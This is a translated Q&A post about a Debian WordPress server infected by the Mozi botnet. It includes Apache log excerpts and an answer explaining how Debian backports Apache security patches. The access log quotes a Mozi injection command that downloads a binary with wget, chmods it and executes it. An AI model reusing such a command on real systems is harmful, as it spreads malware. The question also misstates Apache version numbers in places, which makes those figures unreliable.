我最近发现我在 Google 计算引擎上运行的 Wordpress 博客已被 Mozi 恶意软件感染,并在很长一段时间内成为其僵尸网络的一部分(这一点得到了证实,因为我收到了来自 Google 的非法企图攻击第三方的警告)。
首先让我们看看我的虚拟机正在运行什么:
OS: Debian 9 Strech
Web Server: Apache 2.4.25
DB: MySQL 5.7.30
phpMyAdmin 5.0.2
Wordpress 5.5.1
让我向您展示我的发现:
Apache2的access.log的一部分
115[.]61.116.192 - - [20/Oct/2020:10:53:15 +0000] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 0 "-" "-"
请注意,它尝试通过使用 wget 下载脚本然后尝试对其进行 chmod 777 来执行任意代码。
Apache2的error.log的一部分
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/genindex.html': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/index.html': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/index.php': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/setup/index.php': Operation not permitted
他们似乎已经成功执行了任意代码。尽管不是 root,但用户 www-data 已成功修改了一个恶意 php 脚本。
我认为很明显我正在运行一个易受攻击的 apache 版本,并且黑客利用了这个漏洞CVE-2019-0211,在 CVE 数据库中进行搜索后。
当我看到虽然我尝试升级apache,apt却说我正在运行最新版本时,我感到很惊讶。我的意思是这是一个 2019 年的漏洞,我运行的是 2.5.25 版本,而 apache 现在是 2.5.46。经过搜索后,我读到了这篇文章Unix SE 帖子Debian 处理不同的软件包版本(我承认我不太使用 Debain 来了解他们对此类事情的看法)。
我的问题是:如何更新 apache 来修补我的系统?如您所知,我需要尽快找到解决方案。
编辑
输出dpkg -l apache2
:
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture Description
+++-======================-================-================-==================================================
ii apache2 2.4.25-3+deb9u9 amd64 Apache HTTP Server
答案1
您可能会发现问题所在,但实际上并非如此。
众所周知,Debian 在发行版的生命周期内坚持使用相同的上游版本的软件包。这是他们的政策,在一种情况下有优点,在另一种情况下有缺点。
不过,当然,Debian 正在及时修复安全问题。不过,这可能并不明显,因为他们通常不会采用解决问题的上游版本并从中制作新的包。相反,他们正在创建一个特定的补丁,当应用于其发行版包含的“旧”版本时,该补丁将解决问题。
例如,在 Debian buster 中,在撰写本文时应用了所有发行版更新,aptitude show apache2
生成的输出包含以下行:
Version: 2.4.38-3+deb10u4
第一个数字 ( 2.4.38
) 是 Apache 版本,而第二部分 ( -3+deb10u4
) 可以理解为一种“补丁级别”。每当他们修复安全问题时,第二部分就会发生变化(与第一部分相反,第一部分是实际的 Apache 版本号,并且在该发行版的生命周期内保持不变)。
相反:Debian 的 Apache 2.4.38 软件包的源代码与原始上游Apache 2.4.38 源代码,因为前者应用了补丁(安全修复程序),尽管这些修复程序可能出现在之后具有更高版本号的上游源代码。
长话短说:如果您及时应用所有更新(apt-get update
等aptitude dist-upgrade
),并且您已经正确配置了 apt(主要是/etc/apt/sources.list
或 中的文件/etc/apt/sources.d
),则无需担心(并且有可能黑客是通过 Wordpress 发生的,而不是通过 Apache)。